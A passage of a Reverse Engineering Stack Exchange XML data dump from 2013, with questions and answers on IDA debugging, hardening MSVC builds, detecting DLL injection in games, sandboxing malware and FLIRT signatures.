LastEditDate="2013-06-16T10:40:16.230" LastActivityDate="2013-06-16T10:40:16.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2266" PostTypeId="1" AcceptedAnswerId="2267" CreationDate="2013-06-16T13:59:56.810" Score="7" ViewCount="1484" Body="&lt;p&gt;This is similar in nature to &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/118/2044&quot;&gt;this question&lt;/a&gt; and &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/58/2044&quot;&gt;this question&lt;/a&gt;; I'm interested in what compiler settings to enabled/disable to make a Visual C++ harder to reverse engineer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a few compiler flags I've already got which I believe should be set:&lt;br&gt;&#xA;&lt;code&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/vstudio/k1ack8f1.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;/Ox&lt;/a&gt;&lt;/code&gt; Full optimization. This appears to be the equivalent of gcc's -O3&lt;br&gt;&#xA;&lt;code&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/vstudio/k1ack8f1.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;/Oy&lt;/a&gt;&lt;/code&gt; Omit frame pointers. (x86 only)&lt;br&gt;&#xA;&lt;code&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/vstudio/we6hfdy0.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;/GR-&lt;/a&gt;&lt;/code&gt; Disable Run Time Type Information&lt;br&gt;&#xA;&lt;code&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/vstudio/2kzt1wy3.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;/MT&lt;/a&gt;&lt;/code&gt; flag is used to static link the various libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visibility - I don't think  the MSVC compiler has any options to turn off visibility like &lt;code&gt;-fvisibility=hidden&lt;/code&gt; offered in gcc, but is this necessary for MSVC since the debugging symbols are stored in the PDB file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other things I should include to ensure minimal information is distrubuted in the application?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I might add that I am creating a standalone executable)&lt;/p&gt;&#xA;" OwnerUserId="2044" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-06-19T12:13:24.580" Title="Making Visual C++ harder to reverse engineer" Tags="|windows|obfuscation|c++|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2267" PostTypeId="2" ParentId="2266" CreationDate="2013-06-16T14:43:04.490" Score="4" Body="&lt;p&gt;You should disable /DEBUG (linker option), which is enabled by default even for Release configurations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that although certain compiler/linker options will make reverse engineering your software slightly more difficult, they won't have much of an effect regarding overall reversability.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-06-16T14:43:04.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2270" PostTypeId="1" CreationDate="2013-06-16T17:01:13.307" Score="7" ViewCount="17326" Body="&lt;p&gt;Recently I've run across an ELF file that I would like to debug using IDA.  I've used GDB for basic debugging but I would like to utilize IDA.  I've been researching for a while and can't seem to find a good tutorial.  I understand how to set IDA up for remote GDB debugging.  My question is how do I set it up on the remote/Ubuntu/GDB end.  Is there additional software that I have to install with GDB?  I've seen some stuff on gdbserver but I can't seem to get that working.  I've also seem some stuff on QEMU.  A little direction is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2269" LastEditorUserId="189" LastEditDate="2013-06-17T01:39:52.393" LastActivityDate="2013-06-19T13:25:56.553" Title="Remote debugging with IDA and GDB" Tags="|gdb|ida|debugging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2271" PostTypeId="2" ParentId="2262" CreationDate="2013-06-16T17:11:36.240" Score="3" Body="&lt;p&gt;Yes, it is possible. There are a couple of generic approaches you can take for detecting injected processes (not just dlls). The first is to enumerate DLLs that are injected by the OS via registry key. The two known key/value are AppCertDLL &amp;amp; AppInitDLLs. The second is to search for all memory that is marked as RWX and then parse out the memory for clues of an executable file or injected code. The third is to search for private memory that contains an executable or injected code. Another approach is to search for inline hooks of APIs. Parse out the handler address and then query the memory address of the handler. The handler will likely be an injected process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been doing research in this area for the past couple of weeks. My main focus is detecting injected malware. Here is a tool called &lt;a href=&quot;http://hooked-on-mnemonics.blogspot.com/p/injdmp.html&quot; rel=&quot;nofollow&quot;&gt;injdmp&lt;/a&gt; that I released this week for detecting injected processes.  &lt;/p&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2013-06-16T17:11:36.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2272" PostTypeId="2" ParentId="2262" CreationDate="2013-06-16T17:20:46.820" Score="16" Body="&lt;p&gt;What you're trying to do is very hard if the attacker is an experienced game hacker and the specifics of the cheat is unknown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general if you want to inject a DLL which is harder to detect and won't show up on the module list of the process you use something called manual mapping. What this does is that it emulates the behavior of LoadLibrary without putting the DLL into the process module list. Personally I'm a fan of &lt;a href=&quot;http://www.joachim-bauch.de/&quot;&gt;MemoryModule&lt;/a&gt;. Study that if you want to understand a very common hiding technique. Even if your hack is never made public it's advisable to make sure your DLL never shows up in a crash report or something similar. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that once the fact that you're injecting into the process becomes known, your code will be reachable by the module you're trying to attack. A properly implemented client side anti cheat will enumerate all mapped memory regions and send a hash set of various offsets of all mapped memory segments to a server. The server then stores these hash sets so that if your cheat is ever made public you'll be banned retroactively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to avoid the process being able to detect your code you'll have to either wrap everything in a virtual machine and then interact with the process from outside of the virtual machine. The other weaker options are to write a driver and try to hide in ring 0, to simply create a debugger which interacts with the process or to use breakpoints and a sort of in process debugger to process hardware breakpoint events in order to avoid detection of your hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A properly implemented game will not care if the client is compromised since as soon as you trust your players you have an issue. Ideally the game client would only render the state, react to the output of the server and send input to the server with all the logic server side. This is unfortunately not always possible due to latency and performance reasons. For every decision the client takes, ask yourself what the worst possible outcome of the client having that responsibility is. Because it will happen.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2013-06-16T17:27:45.703" LastActivityDate="2013-06-16T17:27:45.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2273" PostTypeId="2" ParentId="2262" CreationDate="2013-06-16T20:17:02.877" Score="6" Body="&lt;p&gt;&lt;strong&gt;Patching game's executable + using loading order trick&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You should check the integrity of the games executable files before loading as there are way to patch it to load malicious Dll files, overlays if those were added (virus like)&lt;/li&gt;&#xA;&lt;li&gt;Check game directory for unknown dll files - strange names, dlls that mimic system library files&lt;/li&gt;&#xA;&lt;li&gt;Another thing is - some loader that will be placed with the name of the original file which will take care for all the things and at the end will load the actual game - so monitor the integrity of the whole game directory.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Process Injection - it does not have to be dll but some arbitrary code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Monitor &quot;invasion&quot; API calls (for example) by patching&lt;br&gt;&#xA;a. WriteProcessMemory&#xA;b. VirtualAlloc(Ex)&lt;br&gt;&#xA;c. VirtualProtect&lt;br&gt;&#xA;d. ZwWriteProcessMemory&lt;br&gt;&#xA;e. NtMapViewOfSection&lt;br&gt;&#xA;f. CreateRemoteThread&#xA;g. CreateProcess - with flags for Suspended state&#xA;h. OpenProcess  &lt;/li&gt;&#xA;&lt;li&gt;Create watchdog thread to monitor sensitive game memory regions for integrity&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2013-06-16T20:17:02.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2274" PostTypeId="1" AcceptedAnswerId="2282" CreationDate="2013-06-16T20:24:40.950" Score="5" ViewCount="1578" Body="&lt;p&gt;Can anyone suggest a tool to prevent a malware from deleting itself on Windows x64? The purpose is to collect all the components of the whole process of infection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at CaptureBat, but its drivers are only 32-bit.&#xA;I also thought about using file recovery utilities for this.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="107" LastEditDate="2013-06-19T01:26:08.390" LastActivityDate="2015-03-06T17:39:51.717" Title="Prevent malware from deleting itself during installation on Windows x64" Tags="|windows|malware|digital-forensics|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2275" PostTypeId="2" ParentId="2270" CreationDate="2013-06-17T01:09:13.070" Score="6" Body="&lt;p&gt;I'd suggest you use IDA's linux_server for remote debugging , it's located somewhere in your installation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You copy it to the remote machine and run it. And then in IDA you go Debugger -&gt; Select Remote Linux Debugger. Then Debugging -&gt; Process Options where you set the server IP and port, target location and params. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From then on, you just use IDA's debugger as you would locally. &#xA;The benefit of using IDA's linux_server is that you can script your debugger more easily.&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2013-06-17T01:09:13.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2276" PostTypeId="1" CreationDate="2013-06-17T08:23:13.860" Score="5" ViewCount="339" Body="&lt;p&gt;I'm looking for a tool that is able to check loaded module for any placed patches even on not exported functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of Gmer, RKU and Co. and frankly I don't really trust their results.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="189" LastEditDate="2013-06-17T12:27:52.373" LastActivityDate="2014-01-09T10:14:58.790" Title="Tool for checking if there is any patch in the loaded module" Tags="|tools|malware|digital-forensics|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2277" PostTypeId="2" ParentId="2241" CreationDate="2013-06-17T10:56:10.513" Score="0" Body="&lt;p&gt;I was digging a bit into this, and found &lt;a href=&quot;https://stackoverflow.com/questions/1515661/gdb-not-hitting-breakpoints&quot;&gt;this question&lt;/a&gt; on SO by mrduclaw (link in the original article is dead, but &lt;a href=&quot;http://web.archive.org/web/20090611150423/http://sourceware.org/gdb/current/onlinedocs/gdb_5.html#SEC29&quot; rel=&quot;nofollow noreferrer&quot;&gt;web archive has it&lt;/a&gt;). He has the exact same problem like I do, and exactly the same motivation for finding a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was digging around some more and it turns out freebsd until recently didn't have support for forks in it's ptrace. There was a &lt;a href=&quot;http://lists.freebsd.org/pipermail/freebsd-toolchain/2012-April/000370.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;patch submitted&lt;/a&gt; but I can't really figure out if it's applied. Will try to apply it myself and see if it will start working then. &lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-06-17T10:56:10.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2278" PostTypeId="5" CreationDate="2013-06-17T12:46:00.337" Score="0" Body="" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-06-17T12:46:00.337" LastActivityDate="2013-06-17T12:46:00.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2279" PostTypeId="4" CreationDate="2013-06-17T12:46:00.337" Score="0" Body="Digital forensics (sometimes known as digital forensic science) is a branch of forensic science encompassing the recovery and investigation of material found in digital devices, often in relation to computer crime." OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-06-17T12:46:00.337" LastActivityDate="2013-06-17T12:46:00.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2280" PostTypeId="2" ParentId="2276" CreationDate="2013-06-17T15:29:19.690" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/HookShark&quot; rel=&quot;nofollow noreferrer&quot;&gt;HookShark&lt;/a&gt; is a great way of detecting whether anything has patched a process. In my experience it's mostly used when studying the stealth of game hacks.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;HookShark is a detector of installed hooks and patches installed on the system (only usermode for now). It scans through the code-section of every loaded module of each running process and compares it with the file-image. If it detects discrepancies it tries to determine the type of hook or patch and reports it to the user.&lt;/p&gt;&#xA;&lt;p&gt;Currently implemented hook detection:&lt;/p&gt;&#xA;&lt;p&gt;* - Inline patches / Hooks (NOP, Exceptionhandler, relative Jumps, Custom patches)&lt;/p&gt;&#xA;&lt;p&gt;* - Other custom patches [...]&lt;/p&gt;&#xA;&lt;p&gt;* - VTable Hooks&lt;/p&gt;&#xA;&lt;p&gt;* - IAT and EAT Hooks&lt;/p&gt;&#xA;&lt;p&gt;* - Relocation Hooks&lt;/p&gt;&#xA;&lt;p&gt;* - Hardware Breakpoints&lt;/p&gt;&#xA;&lt;p&gt;* - PAGE_GAURD Candidates&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="70" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-06-17T15:40:57.057" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2281" PostTypeId="2" ParentId="2262" CreationDate="2013-06-17T17:18:08.450" Score="19" Body="&lt;p&gt;There are multiple ways that you can use which &lt;em&gt;might&lt;/em&gt; work (and see below for the reasons why they might not).  Here are two:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A process can debug itself, and then it will receive notifications of DLL loading.&lt;/li&gt;&#xA;&lt;li&gt;A process can host a TLS callback, and then it will receive notifications of thread creation.  That can intercept thread creation such as what is produced by CreateRemoteThread.  If the thread start address is LoadLibrary(), then you have a good indication that someone is about to force-load a DLL.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other than that, you can periodically enumerate the DLL name list, but all of these techniques can be defeated by a determined attacker (debugging can be stopped temporarily; thread notification can be switched off; the injected DLL might not remain loaded long enough because it might use dynamically-allocated memory to host itself and then unload the file, etc).&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-06-17T17:18:08.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2282" PostTypeId="2" ParentId="2274" CreationDate="2013-06-18T19:45:26.600" Score="6" Body="&lt;p&gt;There are couple of ways that I could think of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First off&lt;/strong&gt;, you could use &lt;a href=&quot;http://www.cuckoosandbox.org&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Cuckoo Sandbox&lt;/strong&gt;&lt;/a&gt;. It is an automated malware analysis system. It is open source and its modules are written in &lt;a href=&quot;http://python.org&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Python&lt;/strong&gt;&lt;/a&gt;. To quote the website: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Malware! Tear it apart, discover its ins and outs and collect actionable threat data. Cuckoo is the leading open source automated malware analysis system.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Pretty exciting, isn't it? I believe, it will capture dropped files by default. Once a malware sample is submitted to &lt;strong&gt;&lt;a href=&quot;http://www.cuckoosandbox.org&quot; rel=&quot;nofollow&quot;&gt;Cuckoo Sandbox&lt;/a&gt;&lt;/strong&gt; and analysis is completed, user gets analysis report. Certain sub-directory of the analysis report will contain files &lt;strong&gt;Cuckoo&lt;/strong&gt; was able to dump. For more information check out &lt;strong&gt;&lt;a href=&quot;https://cuckoo.readthedocs.org/en/latest/usage/results/index.html?highlight=dropped&quot; rel=&quot;nofollow&quot;&gt;Cuckoo's Analysis Result&lt;/a&gt;&lt;/strong&gt; page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, you could create your own custom module to process dropped files. What are &lt;strong&gt;processing modules&lt;/strong&gt;? Per &lt;a href=&quot;https://cuckoo.readthedocs.org/en/latest/customization/processing/index.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Cuckoo Doc Website&lt;/strong&gt;&lt;/a&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cuckoo’s processing modules are Python scripts that let you define custom ways to analyze the raw results generated by the sandbox and append some information to a global container that will be later used by the signatures and the reporting modules. You can create as many modules as you want, as long as they follow a predefined structure...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am pretty sure there are other automated sandboxes out there as well. However, you have to remember, there is no 100% guarantee a sandbox will process your malware just the way it would execute in real life environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second method&lt;/strong&gt;. You really need to know &lt;strong&gt;HOW&lt;/strong&gt; dropped files are deleted for this method to work. I have already mentioned it in the comments above. You could also patch your executable. Let's say &lt;strong&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa363915%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;DeleteFile()&lt;/a&gt;&lt;/strong&gt; is used. If patching malware is not an option, you could hook &lt;strong&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa363915%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;DeleteFile()&lt;/a&gt;&lt;/strong&gt; function system wide. It is standard Windows API used to delete a file. This function is exported by &lt;strong&gt;Kernel32.dll&lt;/strong&gt;. There is a lot written about system wide or global hooks and ways to accomplish it. I will not go in details about it here. However, there is one thing worth mentioning, you have to make sure you &quot;trick&quot; malware into &quot;thinking&quot; file is indeed delete by returning appropriate values. That's why, there could be a problem with using ACL directly. What if malware checks a return of &lt;strong&gt;DeleteFile()&lt;/strong&gt; (or whatever it uses to delete the dropped file), and gets &lt;strong&gt;ERROR_ACCESS_DENIED&lt;/strong&gt;? It might very well divert it from the regular &quot;desired&quot; execution path. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, there are debuggers out there, that you help you make this process rather semi-automated. To mention few: &lt;a href=&quot;http://debugger.immunityinc.com&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Immunity Debugger&lt;/strong&gt;&lt;/a&gt; by &lt;a href=&quot;http://www.immunityinc.com&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Immunity Inc&lt;/strong&gt;&lt;/a&gt;. It employs very well supported Python API for automation and scripting. There are other option out there as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to mention at the end is that you are absolutely right. You might need to look into creating a little tool of your own. There is no &quot;one-fits-all&quot; solution. Some automated solutions might work better then others. From time to time you will have to dig in. Remember, getting your hands &quot;dirty&quot; gives you great and in-depth understanding of things happening behind the &quot;curtain&quot;. I personally love such an involvement, and find it to be a really great learning experience.&lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-06-18T21:08:09.650" LastActivityDate="2013-06-18T21:08:09.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2283" PostTypeId="1" AcceptedAnswerId="2295" CreationDate="2013-06-19T02:00:31.260" Score="7" ViewCount="8738" Body="&lt;p&gt;IDA Pro displays certain buffer or padding above (at lower addresses) local variables in stack frame view. For instance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 1.&lt;/strong&gt;&lt;br&gt; &#xA;The following screen shot of stack frame view shows 12 bytes (included in the red box) buffer: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wB1ok.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 2.&lt;/strong&gt;&lt;br&gt; &#xA;The following screen shot of a different stack frame view shows 12 bytes buffer again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ForTX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that IDA marked it as &lt;strong&gt;&lt;code&gt;db ?; undefined&lt;/code&gt;&lt;/strong&gt; because it couldn't figure out how it was used. I also realize that IDA automatically calculates size of a stack frame by monitoring ESP. I would assume it might have something to do with non-volitile register save area. However, in &lt;strong&gt;Example 1&lt;/strong&gt; it clearly shows &lt;strong&gt;&lt;code&gt;Saved regs: 0&lt;/code&gt;&lt;/strong&gt; and in &lt;strong&gt;Example 2&lt;/strong&gt; it shows &lt;strong&gt;&lt;code&gt;Saved regs: 4&lt;/code&gt;&lt;/strong&gt;. I am puzzled, and here go my questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does IDA Pro display certain buffer or padding above (at lower addresses) local variables in stack frame view? Is it a coincidence that both views show exactly &lt;strong&gt;12 bytes&lt;/strong&gt; buffer? Is it something particular to certain calling convention or complier? &lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-06-19T04:10:28.557" LastActivityDate="2017-04-08T18:57:52.123" Title="IDA Pro function stack frame view" Tags="|disassembly|static-analysis|ida|calling-conventions|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2284" PostTypeId="2" ParentId="2283" CreationDate="2013-06-19T02:58:23.570" Score="5" Body="&lt;p&gt;IDA keeps track of the value of the stack pointer (ESP) throughout its static analysis of the entire function. The greatest negative value of ESP (relative to the beginning of the function) is used to determine the size of the stack frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for why the stack frames you posted have &quot;undefined&quot; bytes at the top, it's because IDA couldn't automatically determine if or how those stack offsets were being used.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-06-19T02:58:23.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2286" PostTypeId="7" CreationDate="2013-06-19T07:45:55.280" Score="0" Body="&lt;p&gt;&lt;strong&gt;Reverse Engineering Stack Exchange&lt;/strong&gt; is a question and answer site for researchers and developers who explore the principles of a computer system through analysis of its structure, function, and operation. It's built and run &lt;em&gt;by you&lt;/em&gt; as part of the &lt;a href=&quot;https://stackexchange.com&quot;&gt;Stack Exchange&lt;/a&gt; network of Q&amp;amp;A sites. With your help, we're working together to build a library of detailed answers to every question about reverse engineering.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="37508" LastEditDate="2021-07-13T11:27:18.343" LastActivityDate="2021-07-13T11:27:18.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2287" PostTypeId="2" ParentId="2283" CreationDate="2013-06-19T10:26:44.057" Score="2" Body="&lt;p&gt;The screenshots shows that u are examining IDA's detailed stack view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA gives a name  to every byte that is accessed directly in the function, any other bytes remain undefined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calling convention ? Give us the prologue and the epilogue of this subroutine so we can see how the stack is allocated and cleaned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if this is a stack frame of a normal application written in high level language (not malware nor written in assembly by hand) and not calling convention specific then i think we can agree that the compiler allocated more stack space than this function needs for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont think it is a &quot;must&quot; to know why the compiler did this, but thats your choice.&lt;/p&gt;&#xA;" OwnerUserId="156" LastEditorUserId="156" LastEditDate="2013-06-19T11:04:54.407" LastActivityDate="2013-06-19T11:04:54.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2288" PostTypeId="1" CreationDate="2013-06-19T11:45:03.280" Score="9" ViewCount="4229" Body="&lt;p&gt;Why can't IDA Pro successfully determine which exact functions are called after successful disassembly of inline functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, statically linked functions like &lt;code&gt;printf()&lt;/code&gt;, &lt;code&gt;memcpy()&lt;/code&gt;, &lt;code&gt;memset()&lt;/code&gt; are not recognized correctly. Is there a plugin/workaround to fix this issue?&lt;/p&gt;&#xA;" OwnerUserId="2287" LastEditorUserId="1562" LastEditDate="2013-06-19T14:05:03.133" LastActivityDate="2013-06-19T14:16:31.820" Title="IDA pro and default windows (lib) functions" Tags="|windows|ida|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2289" PostTypeId="2" ParentId="2266" CreationDate="2013-06-19T12:13:24.580" Score="3" Body="&lt;p&gt;Apart from the compiler, because they dont have remedy for RE security. You can use obfuscation and anti debugger tricks. If you want there are lots of good packer, use them &lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2013-06-19T12:13:24.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2291" PostTypeId="2" ParentId="2270" CreationDate="2013-06-19T13:25:56.553" Score="1" Body="&lt;p&gt;With regard to your problem setting up gdbserver to run with Ubuntu - it should be sufficient to install the 'gdbserver' package from the universe repository. If it's a local file that you are debugging, you start the server using something like &lt;code&gt;gdbserver localhost:12345 a.out&lt;/code&gt; where &lt;code&gt;a.out&lt;/code&gt; is the executable and &lt;code&gt;12345&lt;/code&gt; is the port number to connect on. That should be a server which you can connect to using IDA's &quot;Remote GDB debugger&quot; option. &lt;/p&gt;&#xA;" OwnerUserId="118" LastActivityDate="2013-06-19T13:25:56.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2292" PostTypeId="2" ParentId="2260" CreationDate="2013-06-19T13:36:14.307" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/binwalk/&quot; rel=&quot;noreferrer&quot;&gt;binwalk&lt;/a&gt; is a firmware analysis tool. It comes with some default file signatures called &lt;em&gt;magic&lt;/em&gt;. There is a &lt;em&gt;magic&lt;/em&gt; file called &lt;a href=&quot;http://code.google.com/p/binwalk/source/browse/tags/1.2.1/src/magic/compressed&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;compressed&lt;/em&gt;&lt;/a&gt;, which scans for common compression signatures. It &lt;a href=&quot;http://code.google.com/p/binwalk/wiki/FAQ#1%29_Why_does_binwalk_report_so_many_false_positive_LZMA_signature&quot; rel=&quot;noreferrer&quot;&gt;shows a lot of false positives&lt;/a&gt;, but it may find some common compression types and it should also be capable of unpacking them.&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2013-06-19T13:36:14.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2293" PostTypeId="2" ParentId="1374" CreationDate="2013-06-19T13:54:24.900" Score="7" Body="&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=z6--A79RlaU&quot; rel=&quot;noreferrer&quot;&gt;I created a video how I identified a possible JTAG connection with a multimeter.&lt;/a&gt; Here is a picture showing which pins are connected and it matches with a standard JTAG pinout for &lt;em&gt;VCC&lt;/em&gt; and &lt;em&gt;GND&lt;/em&gt;. This is an indication that it could be JTAG, though it doesn't have to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/19iJi.png&quot; alt=&quot;example JTAG connector&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2013-06-19T17:01:06.430" LastActivityDate="2013-06-19T17:01:06.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2294" PostTypeId="2" ParentId="2288" CreationDate="2013-06-19T14:16:31.820" Score="7" Body="&lt;p&gt;IDA recognizes standard library functions based on IDA's &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/index.shtml&quot;&gt;FLIRT&lt;/a&gt; libraries. If IDA isn't detecting statically linked standard library functions in your disassembly, it's likely because&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You don't have the correct FLIRT library loaded, or&lt;/li&gt;&#xA;&lt;li&gt;IDA doesn't have a FLIRT library for the compiler that created your binary (IDA natively supports &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/compilers.shtml&quot;&gt;these&lt;/a&gt; compilers)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can solve #1 by opening the Type Libraries subview in IDA (&lt;code&gt;View&lt;/code&gt; -&gt; &lt;code&gt;Open subviews&lt;/code&gt; -&gt; &lt;code&gt;Type libraries&lt;/code&gt;) and pressing &lt;kbd&gt;Ins&lt;/kbd&gt; and choosing the correct compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can solve #2 by using &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/ida/flair64.zip&quot;&gt;FLAIR&lt;/a&gt; to create your own FLIRT library for the correct compiler.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-06-19T14:16:31.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
